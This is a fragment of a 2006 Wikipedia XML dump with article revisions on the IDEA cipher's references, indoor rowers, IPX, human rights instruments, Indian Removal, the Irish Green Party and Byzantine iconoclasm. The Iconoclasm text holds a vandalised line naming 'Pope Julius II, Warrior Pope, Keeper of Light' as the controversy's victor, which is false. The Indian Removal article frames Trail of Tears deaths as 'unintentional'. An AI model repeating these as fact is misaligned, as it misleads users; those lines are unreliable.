* [[Joan Daemen|J. Daemen]], R. Govaerts, and J. Vandewalle, Weak keys for IDEA, Crypto '93. pp224&amp;ndash;231.
* Hüseyin Demirci, Erkan Türe, Ali Aydin Selçuk, A New Meet in the Middle Attack on The IDEA Block Cipher, 10th Annual Workshop on Selected Areas in Cryptography, 2003.
* Xuejia Lai and James L. Massey, A Proposal for a New Block Encryption Standard, EUROCRYPT 1990, pp389&amp;ndash;404
* Xuejia Lai and James L. Massey and S. Murphy, Markov ciphers and differential cryptanalysis, ''Advances in Cryptology &amp;mdash; Eurocrypt &lt;nowiki&gt;'&lt;/nowiki&gt;91'', Springer-Verlag (1992), pp17&amp;ndash;38.

==External links==
* [http://www.rsasecurity.com/rsalabs/node.asp?id=2254 RSA FAQ on Block Ciphers]
* [http://www.mediacrypt.com/ Mediacrypt homepage] &amp;mdash; IDEA licensor
* [http://www.users.zetnet.co.uk/hopwood/crypto/scan/cs.html#IDEA SCAN entry for IDEA]
* [http://home.ecn.ab.ca/~jsavard/crypto/co040302.htm John Savard's description of IDEA]
* [http://www.cs.ut.ee/~helger/crypto/link/block/idea.php Helger Lipmaa's links for IDEA]

{{Block_ciphers}}

[[Category:Block ciphers]]

[[cs:nternational Data Encryption Algorithm]]
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    </revision>
  </page>
  <page>
    <title>Indoor rower</title>
    <id>15077</id>
    <revision>
      <id>40601054</id>
      <timestamp>2006-02-21T19:19:36Z</timestamp>
      <contributor>
        <username>Johnteslade</username>
        <id>102856</id>
      </contributor>
      <minor />
      <comment>rem link spam</comment>
      <text xml:space="preserve">[[Image:Concept2_Indoor_Rowers.JPG|thumb|250px|A row of [[Concept2]] &quot;Model C&quot; indoor rowers]]

An '''indoor rower''' is a machine used to simulate the action of [[watercraft rowing]] for the purpose of exercise or training for rowing. Indoor Rowing has become established as a sport in its own right. The term also refers to a participant in this sport.

An indoor rower is also known as an '''ergometer''' (slang '''ergo''' or '''erg'''). An ergometer being a device which measures the amount of energy or work performed. The indoor rower is calibrated to measure the amount of energy the rower is generating. ''Ergometer'' comes from the [[Greek language|Greek]] word's ''ergon'', meaning ''work'' and ''metron'', meaning ''measure''. An ergometer therefore is a device that literally means &quot;work measurer&quot;.

==Layout of the machine==
Although several simple machines exist for casual home use, there are three major models: [[RowPerfect]], [[WaterRower]] and [[Concept2]]. Of these the Concept2 is the most popular, and is generally considered the standard training option for world-class rowers. Each machine consists of a [[flywheel]] connected to a chain and handle. The rower pushes his body backwards with the legs and pulls on the handle, causing the flywheel to spin. The flywheel has a damping mechanism applied (using either air or water) that is intended to simulate the feel of an oar moving through water. Depending on the machine the rower either moves back and forth as part of the rowing action, or the rower remains stationary and the flywheel mechanism moves. The machines where the rower remains stationary are generally considered to better simulate the feel of a boat. The [[Rowbike]] is an outdoor rowing machine that is a hybrid of the Concept2 and a recumbent bicycle. 

Concept2 machines features a digital performance monitor that can display the athlete's work output in watts, calories, or notional &quot;meters&quot; that are roughly calibrated to correspond to the speed of a four-man boat on the water. The standard measurement of speed on an ergometer is generally known as the &quot;split,&quot; or the amount of time in minutes and seconds required to travel 500 meters at the current pace. For example, a 2:00 split would correspond to a 2:00 time for a 500 meter race, or an 8:00 time for a 2 kilometer race. The split does not necessarily correspond to how many strokes the rower takes (the &quot;rating&quot;) since strokes can vary in power.

==Competitions==
Concept2 organizes a large number of indoor rowing competitions all over the world, including the world championships (a.k.a. [[CRASH-B Sprints]]) held in [[Boston, Massachusetts|Boston]], [[Massachusetts]], [[USA]] in February and the [[British Indoor Rowing Championships]] held in [[Birmingham]], [[England]] in November. The usual distance for competition is 2,000 m. The machines used are very consistent and although the resistance may be adjusted, a result on one machine can be fairly compared with results on other machines regardless of resistance level. The prevalence of Concept2 machines creates a standard which facilitates competition.

Indoor rowing is an inclusive sport, perhaps because indoor rowing has historically been used for fitness, training and self-improvement rather than as an independent form of competition. Despite increasing competitiveness in recent years, most major competitions include many categories based on age as well as weight. While the fastest times are generally achieved by rowers between 20 and 40 years old, teenagers and rowers over 90 are common at competitions. Inexperienced rowers as well as world class athletes are welcome.

The [[Rowing_World_Records#Indoor_Records|world records]] for 2,000 m are currently (as of [[December 2005]]) 5:37.0 for men and 6:28.4 for women. [http://www.concept2.co.uk/racing/records.php Full Records For All Distances]

==External links==
* [http://www.indoor-rowing.blogspot.com Indoor Rowing Blog by Xeno Muller Olympic Gold and Silver Medal Winner]
[[Category:Exercise equipment]]
[[Category:Rowing]]

[[de:Ergometer]]</text>
    </revision>
  </page>
  <page>
    <title>IPX</title>
    <id>15078</id>
    <revision>
      <id>40987831</id>
      <timestamp>2006-02-24T08:30:37Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pt</comment>
      <text xml:space="preserve">'''Internetwork Packet Exchange''' ('''IPX''') is the [[OSI model|OSI-model]] [[Network layer|Network layer ]] [[Protocol_(computing)|protocol]] in the [[IPX/SPX]] [[protocol stack]].

The IPX/SPX protocol stack is supported by [[Novell, Inc.|Novell]]'s [[NetWare]] [[network operating system]]. Because of Netware's popularity through the late [[1980s]] into the mid [[1990s]], IPX became a popular [[internetworking]] protocol.  Novell derived IPX from [[Xerox_Network_Services]]' IDP protocol.

IPX usage is in general decline as the boom of the [[Internet]] has made [[TCP/IP]] nearly universal. Computers and networks can run multiple [[network protocol]]s, so almost all IPX sites will be running TCP/IP as well to allow for Internet connectivity. It is also now possible to run Novell products without IPX, as they have supported both IPX and TCP/IP since NetWare reached version 5.

==IPX addressing==
* Logical networks are assigned a unique 32-bit [[hexadecimal]] address in the range of 0x1 - 0xFFFFFFFE. 
* Hosts have a 48-bit node address which by default is set to the network interface card's [[MAC address]].  The node address is appended to the network address to create a unique identifier for the host on the network.

===Similarities with IP===
The IPX network address is conceptually identical to the network part of the [[IP address]] (the parts with [[netmask]] bits set to 1); the node address then has the same meaning as the bits of IP address with netmask bits set to 0. As the node address is usually identical to the MAC address of the network adapter, the [[Address Resolution Protocol]] is not needed.

For [[routing]], the entries in the IPX [[routing table]] are similar to IP routing tables; routing is done by network address, and for each network address a network:node of the next router is specified in a similar fashion an IP address/netmask is specified in IP routing tables.

===IPX over Ethernet===
IPX can be transmitted over Ethernet using one of the following 4 encapsulation types:

[[802.3]] (raw) is used in legacy systems and involves IPX data starting immediately after 802.3 frame header. The packet starts with Destination Ethernet Address (6 bytes), Source Ethernet Address (6 bytes), Frame Length (2 bytes) followed by IPX data. Latter always starts with two 0xFF bytes (Checksum field), and this can be used to differentiate this type of IPX encapsulation from next two types.

[[802.2]] (Novell) is comprised of 802.3 frame header (destination, source, length) followed by LLC header (3 bytes - 0xE0, 0xE0, 0x03) followed by IPX data. 0xE0 fields of LLC header stand for 'Novell' protocol.

[[802.2]] (SNAP) is comprised of 802.3 frame header, LLC header (3 bytes - 0xAA, 0xAA, 0x03), SNAP header (5 bytes - 0x00, 0x00, 0x00, 0x81, 0x37) and IPX data. 0xAA fields of LLC header stand for 'SNAP' protocol. First three bytes of SNAP header are [[Organizationally Unique Identifier|OUI]] followed by 2 bytes of IPX [[EtherType]].

[[Ethernet_II_framing|Ethernet II]] is comprised of Ethernet II frame header (Destination, Source, [[EtherType]]) followed by IPX data. 


{{com-stub}}

[[Category:Netware]]

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    </revision>
  </page>
  <page>
    <title>International human rights instruments</title>
    <id>15079</id>
    <revision>
      <id>32000535</id>
      <timestamp>2005-12-19T19:42:56Z</timestamp>
      <contributor>
        <username>Kaliz</username>
        <id>542009</id>
      </contributor>
      <text xml:space="preserve">'''International human rights instruments''' can be classified into two categories: '''declarations''', adopted by bodies such as the [[United Nations General Assembly]], which are not legally binding although they may be politically so; and '''conventions''', which are legally binding instruments concluded under international law.

International [[human rights]] instruments can be divided further into '''global instruments''', to which any state in the world can be a party, and '''regional instruments''', which are restricted to states in a particular region of the world.

Most conventions establish mechanisms to oversee their implementation. 
In some cases these mechanisms have relatively little power, and are often ignored by member states; in other cases these mechanisms have great political and legal authority, and their decisions are almost always implemented. 
Examples of the first case include the UN treaty committees, while the best exemplar of the second case is the [[European Court of Human Rights]].

Mechanisms also vary as to the degree of individual access to them. 
Under some conventions &amp;ndash; e.g. the [[European Convention on Human Rights]] (as it currently exists) &amp;ndash; individuals are permitted automatically to take individual cases to the enforcement mechanisms; under most, however, (e.g. the UN conventions) individual access is contingent on the acceptance of that right by each state party, either by a declaration at the time of ratification or accession, or through ratification of or accession to a protocol to the convention.

== Declarations ==
*[[Universal Declaration of Human Rights]] ([[United Nations|UN]], [[1948]])
*[[American Declaration of the Rights and Duties of Man]] ([[Organization of American States|OAS]], [[1948]])

== Conventions ==

=== Global ===
*[[International Covenant on Civil and Political Rights]] (ICCPR)
*[[International Covenant on Economic, Social, and Cultural Rights]] (ICESCR)
*[[Convention on the Rights of the Child]] (CRC)
*[[United Nations Convention Against Torture|Convention Against Torture]] (CAT)
*[[Convention on the Elimination of All Forms of Racial Discrimination]] (ICERD)
*[[Convention on the Elimination of All Forms of Discrimination Against Women]] (CEDAW)
*[[International Convention on the Protection of the Rights of All Migrant Workers and Members of Their Families]] (MWC)
*[[Convention on the Prevention and Punishment of the Crime of Genocide]]

=== Regional: Africa ===
*[[African Charter on Human and Peoples' Rights]]

=== Regional: America ===
*[[American Convention on Human Rights]]
*[[Inter-American Convention to Prevent and Punish Torture]]
*[[Inter-American Convention on Forced Disappearance of Persons]]
*[[Inter-American Convention on the Prevention, Punishment, and Eradication of Violence against Women]] 
*[[Inter-American Convention on the Elimination of All Forms of Discrimination against Persons with Disabilities]]

=== Regional: Europe ===
*[[European Convention on Human Rights]]
*[[European Convention on Torture]]
*[[European Social Charter]]

== See also ==

*[[Universal jurisdiction]]
*[[International Criminal Court]] (established in 2002)

[[Category:Human rights instruments]][[Category:International law]]</text>
    </revision>
  </page>
  <page>
    <title>Indian Removal</title>
    <id>15080</id>
    <revision>
      <id>40718230</id>
      <timestamp>2006-02-22T15:12:34Z</timestamp>
      <contributor>
        <username>Kevin Myers</username>
        <id>103151</id>
      </contributor>
      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">'''Indian Removal''' was a [[nineteenth century]] policy of the government of the [[United States]] that sought to relocate [[American Indians in the United States|American Indian]] (or &quot;Native American&quot;) tribes living east of the [[Mississippi River]] to lands west of the river. In the decades following the [[American Revolution]], the desire for more land by the rapidly increasing population of the United States resulted in numerous treaties in which lands were purchased from Native Americans. Eventually, the U.S. government began encouraging Indian tribes to sell their land by offering them land in the [[Western United States|West]], outside the boundaries of the then-existing U.S. states, where the tribes could resettle. This process was accelerated with the passage of the [[Indian Removal Act]] of [[1830]], which provided funds for President [[Andrew Jackson]] to conduct land-exchange (&quot;removal&quot;) treaties. An estimated 100,000 American Indians eventually relocated in the West as a result of this policy, most of them emigrating during the 1830s, settling in what was known as the &quot;[[Indian territory]].&quot;{{fn|1}}

Contrary to some modern misconceptions (and misrepresentations), the Removal Act did not order the forced removal of any Native Americans, nor did President Jackson ever publicly advocate forced removal. In theory, Indian Removal was supposed to be voluntary, and many American Indians did indeed remain in the East. In practice, however, the Jackson administration put great pressure on tribal leaders to sign removal treaties. This pressure created bitter divisions within American Indian nations, as different tribal leaders advocated different responses to the question of removal. Sometimes, U.S. government officials ignored tribal leaders who resisted signing removal treaties and dealt with those who favored removal. The [[Treaty of New Echota]], for example, was signed by a faction of prominent [[Cherokee]]s leaders, but not by the elected tribal leadership. The terms of the treaty were aggressively enforced by President [[Martin Van Buren]], which resulted in the unintentional deaths of an estimated 4,000 Cherokees (mostly from disease) on the [[Trail of Tears]]. The [[Choctaw]] tribe also suffered greatly from disease during removal.{{fn|2}}

The suffering which resulted from Indian Removal was aggravated by poor administration, inadequate measures taken to provide for the emigrants, and failure to protect Indian legal rights before and after emigration. Most American Indians reluctantly but peacefully complied with the terms of the removal treaties, often with bitter resignation. Some groups, however, went to war to resist the implementation of removal treaties. This resulted in two short wars (the [[Black Hawk War]] of 1832 and the [[Second Creek War]] of 1836), as well as the long and costly [[Second Seminole War]] (1835-1842).

==Background==
Since the presidency of [[Thomas Jefferson]], America's policy had been to allow Indians to remain east of the Mississippi as long as they became [[Assimilation (sociology)|assimilated]] or &quot;civilized.&quot; They were to settle in one place, farm the land, divide communal land into private property, and adopt democracy.

==Indian Removal in the South==
In 1830, the so-called &quot;[[Five Civilized Tribes]]&quot; &amp;mdash; the [[Chickasaw]], [[Choctaw]], [[Creek people|Creek]], [[Seminole]], and [[Cherokee]] &amp;mdash; were still living east of the Mississippi. They were called &quot;civilized&quot; because many tribesmen had adopted various aspects of [[European-American]] culture, including [[Christianity]]. The Cherokees had a system of writing their own language, developed by [[Sequoyah]], and published a newspaper in Cherokee and English.

In spite of this [[acculturation]], the position of the tribes was not secure. Some felt the presence of the tribes was a threat to peace and security, since many Native Americans had fought against the United States in previous wars, often armed by foreign nations such as Great Britain and Spain. Other white settlers and land speculators simply desired the land that was occupied by the tribes.

Accordingly, governments of the various U.S. states desired that all tribal lands within their boundaries be placed under state jurisdiction. In [[1830]], [[Georgia (U.S. state)|Georgia]] passed a law which prohibited whites from living on Indian territory after March 31, 1831 without a license from the state. This law was written to justify removing white missionaries who were helping the Indians resist removal. Missionary organizer [[Jeremiah Evarts]] urged the Cherokee Nation to take their case to the [[Supreme Court of the United States|U.S. Supreme Court]]. The [[John Marshall|Marshall court]] ruled that while Indian tribes were not sovereign nations (''[[Cherokee Nation v. Georgia]]'', [[1831]]), state laws had no force on tribal lands (''[[Worcester v. Georgia]]'', [[1832]]). President Andrew Jackson is often quoted as having responded to the court by defiantly proclaiming, &quot;John Marshall has made his decision. Now let him enforce it!&quot; Jackson probably did not say this, although he was criticized (then and since) for making no effort to protect the tribes from state governments.{{fn|3}}

Andrew Jackson and other candidates of the new [[United States Democratic Party|Democratic Party]] had made Indian Removal a major goal in the campaign of [[1828]]. In 1830, Congress passed the [[Indian Removal Act]] and President Jackson signed it into law. The Removal Act provided for the government to negotiate removal treaties with the various tribes. The [[Treaty of Dancing Rabbit Creek]] with the Choctaw was the first such removal treaty implemented; while around 7,000 Choctaws ultimately stayed in Mississippi, about 14,000 moved along the [[Red River (Mississippi watershed)|Red River]]. Other treaties, like the dubious [[Treaty of New Echota]] with the Cherokee, followed, resulting in the [[Trail of Tears]].

As a result, the five tribes were resettled in the new [[Indian Territory]] in modern-day [[Oklahoma]] and parts of [[Kansas]]. Some Indians eluded removal, while those who lived on individually owned land (rather than tribal domains) were not subject to removal. Those who stayed behind eventually formed tribal groups including the Eastern Band Cherokee, based in [[North Carolina]].

In 1835, the Seminoles refused to leave [[Florida]], leading to the [[Second Seminole War]]. The most important leader in the war was [[Osceola]], who led the Seminoles in their fight against removal. Hiding in the [[Everglades]] of Florida, Osceola and his band used surprise attacks to defeat the U.S. Army in many battles. In 1837, Osceola was tricked into capture when he came to negotiate peace during a truce. He died in prison. The Seminoles continued to fight. Some traveled deeper into the Everglades, while others moved west. The Second Seminole War ended in 1842, when the United States won.
In [[1835]], almost 15,000 [[Creek people|Creeks]] were forcibly moved from [[Alabama]] and Georgia to the [[Canadian River]] Indian Territory.

The majority of the Chickasaw tribe was deported to Indian Territory in the 1830s.

&lt;big&gt;'''Southern Removals'''&lt;/font&gt;&lt;br&gt;

{| class=&quot;wikitable&quot;
!bgcolor=&quot;#FFEBAD&quot;|Nation
!bgcolor=&quot;#FFEBAD&quot;|Population east of the Mississippi before removal treaty
!bgcolor=&quot;#FFEBAD&quot;|Removal treaty&lt;br&gt;(year signed)
!bgcolor=&quot;#FFEBAD&quot;|Years of major emigration
!bgcolor=&quot;#FFEBAD&quot;|Total number emigrated or forcibly removed
!bgcolor=&quot;#FFEBAD&quot;|Number stayed in Southeast
!bgcolor=&quot;#FFEBAD&quot;|Deaths during removal
!bgcolor=&quot;#FFEBAD&quot;|Deaths from warfare
|-
|[[Choctaw]]
|19,554 {{fn|(a)}}
|[[Treaty of Dancing Rabbit Creek|Dancing Rabbit Creek (1830)]] 
|1831-1836
|12,500
|7,000 {{fn|(b)}}
|2,000-4,000+ ([[Cholera]])
|n/a
|-
|[[Creek (people)|Creek]]
|22,700 + 900 black slaves {{fn|(c)}}
|[[Treaty of Cusseta|Cusseta (1832)]]
|1834-1837
|19,600 {{fn|(d)}}
|?
|3,500 (disease after removal){{fn|(e)}}
|? ([[Second Creek War]])
|-
|[[Chickasaw]]
| 4,914 + 1,156 black slaves
|[[Treaty of Pontotoc Creek|Pontotoc Creek (1832)]]
|1837-1847
|over 4,000
|hundreds
|a few from disease
|n/a
|-
|[[Cherokee]]
|21,500 &lt;br&gt;+ 2,000 black slaves
|[[Treaty of New Echota|New Echota(1835)]] 
|1836-1838
|20,000 + 2,000 slaves
|1,000
|2,000-8,000
|n/a
|-
|[[Seminole]]
|5,000 + fugitive slaves
|[[Treaty of Payne's Landing|Payne's Landing (1832)]]
|1832-1842
|2,833 {{fn|(f)}}
|250-500 {{fn|(g)}}
|
|700 ([[Second Seminole War]])
|}

&lt;div style=&quot;font-size: 85%&quot;&gt;
''Many figures have been rounded.''&lt;br&gt;
{{fnb|(a)}} Foreman, p. 47 n.10 (1830 census).&lt;br&gt;
{{fnb|(a)}} Several thousand more emigrated West from 1844-49; Foreman, pp. 103-4.&lt;br&gt;
{{fnb|(c)}} Foreman, p. 111 (1832 census).&lt;br&gt;
{{fnb|(d)}} Remini, p. 272.&lt;br&gt;
{{fnb|(e)}} Russell Thornton, &quot;Demography of the Trail of Tears&quot;, p.85.&lt;br&gt;
{{fnb|(f)}} Prucha, p. 233.&lt;br&gt;
{{fnb|(g)}} Low figure from Prucha, p. 233; high from Wallace, p. 101.&lt;br&gt;
&lt;/div&gt;

==Indian Removal in the North==
Some tribes north of the [[Ohio River]] also resisted relocation. The [[Shawnee]], [[Ottawa]], [[Potawatomi]], [[Sauk]], and [[Fox]] were removed to the [[Indian Territory]]. In 1832, a Sauk chief named [[Black Hawk (chief)|Black Hawk]] led a band of Sauk and Fox back to their lands in Illinois. In the [[Black Hawk War]], the U.S. Army and Illinois militia defeated Black Hawk and his army.

==See also==
* [[Population history of American indigenous peoples]]
* [[Ethnic cleansing]]
* [[Population transfer]]

==Notes==
* {{fnb|1}} 100,000 American Indians: Russell Thornton, &quot;The Demography of the Trail of Tears Period&quot;, in Anderson, p. 75.
* {{fnb|2}} Jackson never publicly advocated forced removal: Wallace, p._. Ronald N. Satz in &quot;Rhetoric Versus Reality: The Indian Policy of Andrew Jackson&quot; lists some published works that &quot;have erroneously argued or implied that emigration to the West was obligatory for all eastern Indians under the terms of the Removal Act itself&quot;, p. 31, p. 47n.13.
* {{fnb|3}} Remini, page 257.

==References==
*Anderson, William L., ed. ''Cherokee Removal: Before and After''. Athens, Georgia: University of Georgia Press, 1991. ISBN 0-8203-1482-X.
*Ehle, John. ''Trail of Tears: The Rise and Fall of the Cherokee Nation''. New York: Doubleday, 1988. ISBN 038523953X.
*Foreman, Grant. ''Indian Removal: The Emigration of the Five Civilized Tribes of Indians''. Norman, Oklahoma: University of Oklahoma Press, 1932, 11th printing 1989. ISBN 0806111720.
*Prucha, Francis Paul. ''The Great Father: The United States Government and the American Indians''. Volume I. Lincoln, Nebraska: University of Nebraska Press, 1984. ISBN 0803236689. 
* [[Remini, Robert V.]] ''Andrew Jackson and his Indian Wars''. New York: Viking, 2001. ISBN 0670910252.
*Thornton, Russell. ''American Indian Holocaust and Survival: A Population History Since 1492''. Norman, Oklahoma: University of Oklahoma Press, 1987. ISBN 0806120746. 
*Wallace, Anthony F.C. ''The Long, Bitter Trail: Andrew Jackson and the Indians''. New York: Hill and Wang, 1993. ISBN 0809015528 (paperback); ISBN 0809066319 (hardback).

==External links==
* [http://www.pbs.org/wgbh/aia/part4/4p2959.html PBS article on Indian Removal]
* [http://www.synaptic.bc.ca/ejournal/jackson.htm Critical Resources: Text of the Removal Act and other documents.]
* [http://www.digitalhistory.uh.edu/database/article_display.cfm?HHID=638 Indian Removal from ''Digital History'' by S. Mintz]

[[Category:Native American history]]
[[Category:Legal history of the United States]]
[[Category:Forced migration]]
[[Category:History of United States expansionism]]
[[Category:Cherokee tribe]]</text>
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  <page>
    <title>Green Party (Ireland)</title>
    <id>15081</id>
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      <minor />
      <text xml:space="preserve">{{Infobox_Irish_Political_Party |
  party_name     = Green Party|
  party_articletitle = {{PAGENAME}}|
  party_logo     = [[Image:Irishgreenlogo.png|150px]] |
  leader = [[Trevor Sargent]] |
  foundation     = [[1981]] |
  ideology = [[Green politics|Green]] |
  international = [[Global Greens]] |
  european = [[European Green Party]] |
  europarl = n/a |
  colours = [[Green]] and [[Gold]]|
  headquarters   = 16-17 Suffolk Street,&lt;br&gt; [[Dublin]] 2 |
  website = [http://www.greenparty.ie/ http://www.greenparty.ie/]
}}
The '''Green Party/Comhaontas Glas''' was founded as the Ecology Party of Ireland in [[1981]] by Dublin teacher Christopher Fettes. It became the Green Alliance in 1983 and in 1987 was renamed to its current title. It has succeeded in getting candidates elected to all levels of government; local, [[Dáil Éireann|Dáil]] and [[European Parliament]]. The [[Republic of Ireland]] has a system of [[proportional representation]] called the [[Single Transferable Vote]], which gives smaller parties, such as the Green Party, more opportunity to gain representation.

The parties first electoral outing was in November 1982, when they won 02.% of the vote in the [[Irish general election, 1982|general election of 1982]]. After changing their name, they contested the 1984 European Parliament, with their party founder winning 1.9% in the Dublin constituency. The following year they won their first election when Marcus Counihan was elected to Killarney Urban District Council during the 1985 Local Elections. The party nationally ran 34 candidates and won 0.6% of the vote. The party continued to struggle until the [[Irish general election, 1989|general election of 1989]] when the again renamed party win its first seat in the national parliament, the Dáil, when Roger Garland was elected in Dublin South.

However, it was not until the [[Irish general election, 2002|general election of 2002]] when it made a breakthrough, getting 6 [[Teachta Dála|TD]]s (Members of Parliament) elected to the Dáil. However, in the [[European Parliament election, 2004| election to the European Parliament of June 2004]], the party lost both of the European Parliament seats which it had won in [[European Parliament election, 1994|1994]] and retained in [[European Parliament election, 1999| 1999]]. It has had little success at local level, winning only 18 seats out of 878 in the local elections of 2004. Nonetheless, this was a doubling of its 9 won in 1999. Its new councillors include [[Niall Ó Brolcháin]], elected in Galway City and [[J.J. Power]], elected in Naas, representing a small breakout from its perceived Dublin base.

Arguably, the Green Party's best-known politicians are its leader [[Trevor Sargent]], party chairman [[John Gormley]], and [[Eamon Ryan]], who attempted in 2004 to gain a nomination for election as [[President of Ireland]]. The other Green Party TDs are [[Ciarán Cuffe]], [[Paul Gogarty]] and [[Dan Boyle (politician)|Dan Boyle]]. The Green Party's deputy leader is Councillor [[Mary White (Green Party politician|Mary White]].

The Green Party has strong links with its counterpart in [[Northern Ireland]], the [[Green Party in Northern Ireland]], which has had much more limited electoral success. Although it is a member of the [[European Federation of Green Parties]], the Irish Green Party has adopted a notably more [[eurosceptic]] stance than is usually articulated by the Federation.

{{Greens}}

The Green Party also has a youth wing, know as '''the Young Greens''', which has several hundred members in branches throughout the country. Founded in 2002, it campaigns for protection of the environment, human rights and more funding for education. It is closely associated with youth members of the Northern Ireland Green Party. In 2004 it became associated with the [[Federation of Young European Greens]]. 

At the 2005 National Convention, party delegates voted overwhelming not to enter a pre-election pact with the other main opposition parties [[Fine Gael]] and [[Irish Labour Party|Labour]]. Their reasoning for this was that participation in such an alliance would drown out their voice and deprive them of vital transfers from other left-wing parties, most notably [[Sinn Féin]]. Opinion polls typically put the Greens at between 4% and 7%. 

As the 2007 General Election approaches, the party is targeting fifteen constituencies with the aim of winning at least seven seats, giving the status of a full political grouping in [[Dáil Eireann]]. However, few political commentators have predicted that the Greens are in line for electoral gains, with many suggesting that up to five of their current seats are at risk. More positively for the party, however, support remains clustered in certain geographical areas, principally urban constituencies, which could help the party retain and gain seats.

==External links==
*[http://www.greenparty.ie/  Green Party Official website]
*[http://www.younggreens.ie/ Young Greens Official website]

{{Political parties in Ireland}}
{{Green Parties}}


[[Category:Green political parties]]
[[Category:Republic of Ireland political parties]]

[[de:Green Party (Irland)]]</text>
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    <title>Iconoclasm</title>
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      <comment>/* Reformation iconoclasm */</comment>
      <text xml:space="preserve">[[Image:Iconoclasm.jpg|thumb|Illustration of the ''Beeldenstorm'' during the [[History of religion in the Netherlands#Reformation and counter-reformation|Dutch reformation]]]]

Iconoclasm is the destruction of [[religion|religious]] [[icon]]s and other symbols or monuments, usually for [[religious]] or political motives. In Christian circles, iconoclasm has generally been motivated by a literal interpretation of the second of the [[ten commandments]], which forbids the making and worshipping of &quot;graven images&quot;. It has sometimes been motivated by [[christological]] or even political concerns as well.

People who engage in such practices are called '''[[iconoclast]]s''', a term that has come to be applied to any person who breaks or disdains established dogmas or conventions. Conversely, people who revere or venerate religious images are called '''[[iconodules]]'''.

Iconoclasms can be carried out by people of a different religion, but are often the result of sectarian disputes between factions of the same religion.

Iconoclasm was a cultural product of the [[Russian Revolution of 1917]], and numerous (mainly peasant) revolts throughout history.
== Byzantine iconoclasm ==
A thorough understanding of the Iconoclastic Period in Byzantium is complicated by the circumstance that much of what exists as accounts and arguments of the time comes to us through the filter of the writings of the ultimate victor in the controversy: Pope Julius II, Warrior Pope, Keeper of Light.  It is thus difficult to obtain a complete, objective, balanced, and reliably accurate account of events and various aspects of the controversy.

=== The first iconoclastic period: 730-787 ===
Sometime between 726-730 the Byzantine Emperor [[Leo III]] the Syrian or &quot;Isaurian,&quot; (reigned 717-741; born in eastern Turkey) ordered the removal of an image of Jesus prominently placed over the palace gate of Constantinople.  At least some of those assigned to the task were murdered by a band of iconodules (see Theophanes, ''Chronographia'').  Writings suggest that at least part of the reason for the removal may have been military reversals against the muslims and the eruption of the volcanic island of [[Thera]], which Leo possibly viewed as evidence of the wrath of God brought on by image veneration in the Church (according to accounts by Patriarch Nikephoros and the chronicler Theophanes).  Leo is said to have described image veneration as &quot;a craft of idolatry.&quot;  He apparently forbade the worship of religious images in a 730 edict, which did not apply to other forms of art, including the image of the emperor, or even religious symbols such as the cross.  &quot;He saw no need to consult the church, and he appears to have been surprised by the depth of the popular opposition he encountered&quot; (Warren Treadgold, ''A History of the Byzantine State and Society'', Stanford University Press, 1997).

[[Germanus I of Constantinople]], the iconodule [[Patriarch of Constantinople]], either resigned or was deposed following the ban; letters Germanus wrote at the time say little of theology.  &quot;What worries Germanos is that the banning of images would only prove that the Church had been in error for a long time and so play into the hands of Jews and Muslims&quot; (The Oxford History of Byzantium: Iconoclasm, Patricia Karlin-Hayter, Oxford University Press, 2002.)  In the Western part of the Byzantine empire, [[Pope Gregory III]] held two synods at Rome and condemned Leo's actions, with the result that Leo seized some papal lands. During this initial period concern on both sides seems to have had little to do with theology and more with practical evidence and effects. Icon veneration was forbidden simply because Leo saw it as a violation of the biblical commandment forbidding making and venerating images. There was initially no church council or prominent patriarch or bishop calling for the removal or destruction of icons. During the destruction or obscuring of images, Leo &quot;''confiscated valuable church plate, altar cloths, and reliquaries decorated with religious figures''&quot; (''History of the Byzantine State and Society'', Warren Treadgold, Stanford University Press, 1997), but took no severe action against the former patriarch or iconophile bishops.

Leo died in 740, but his ban on icons was dogmatically confirmed under his son [[Constantine V]]  (741-775) who summoned a council in Hieria in 754 (&quot;the Iconoclast Council&quot;) in which some 330 to 340 bishops participated.  This council became known as a Robber Council due to its uncanonical nature.  Edward J. Martin writes (''A History of the Iconoclastic Controversy'' , p.46), &quot;On the ecumenical character of the Council there are graver doubts. Its president was Theodosius, archbishop of Ephesus, son of the Emperor Apsimar. He was supported by Sisinnius, bishop of Perga, also known as Pastillas, and by Basil of Antioch in Pisidia, styled Tricaccabus. Not a single Patriarch was present. The see of Constantinople was vacant. Whether the Pope and the Patriarchs of Alexandria, Antioch, and Jerusalem were invited or not is unknown. They were not present either in person or by deputy. The Council of Nicaea [II] considered this was a serious flaw in the legitimacy of the Council. 'It had not the co-operation of the Roman Pope of the period nor of his clergy, either by representative or by encyclical letter, as the law of Councils requires.' [citing [[J. D. Mansi]], XIII, 207d] The -Life of Stephen- borrows this objection from the Acts and embroiders it to suit the spirit of the age of Theodore. It had not the approval of the Pope of Rome, although there is a canon that no ecclesiastical measures may be passed without the Pope.' [citing Vit Steph, 1144c] The absence of the other Patriarchs is then noticed [Mansi above].&quot;

The Iconoclast Council of Hieria was not the end of the matter, however.  In this period complex theological arguments appeared, both for and against the use of icons.  The monasteries were strongholds of icon veneration, and an underground network of iconodules was organized among monks.  One Syrian monk, [[John of Damascus]], was the major opponent of iconoclasm through his theological writings.  Another, [[Theodore the Studite]], wrote a letter against the emperor to Pope Paschal, an act with strong political implications.  In a response recalling the later Protestant Reformation, Constantine moved against the monasteries, had relics thrown into the sea, and stopped the invocation of saints.  Constantine's son, Leo IV (775-80) was less rigorous, trying to conciliate factions until near the end of his life, when he took severe measures against images and would have banned his secretly icon-venerating Athenian wife, Irene.  But before that happened he died, and Irene took power as regent for her son, Constantine VI (780-97).  With Irene's ascension as regent, the first Iconoclastic Period came to an end.

Irene initiated a new ecumenical council, ultimately called the [[Second Council of Nicaea]], which first met in Constantinople in 786 but was disrupted by military units faithful to the iconoclast legacy; it convened again at Nicea in [[787]] and reversed the decrees of the previous iconoclast council held at Constantinope and Hieria, and appropriated its title as [[Seventh Ecumenical Council]].  So there were two councils called the &quot;Seventh Ecumenical Council,&quot; the first supporting iconoclasm, the second supporting icon veneration and negating the first.  The decrees of this council, unlike those of the iconoclast council, were approved by the papacy. Eastern Orthodoxy today considers it the last genuine ecumenical council.  Icon veneration lasted through the reign of [[Byzantine Empress Irene | Empress Irene]]'s successor, [[Nicephorus I]] (reigned 802-811), and the two brief reigns after his.

=== The second iconoclastic period: 814-842 ===
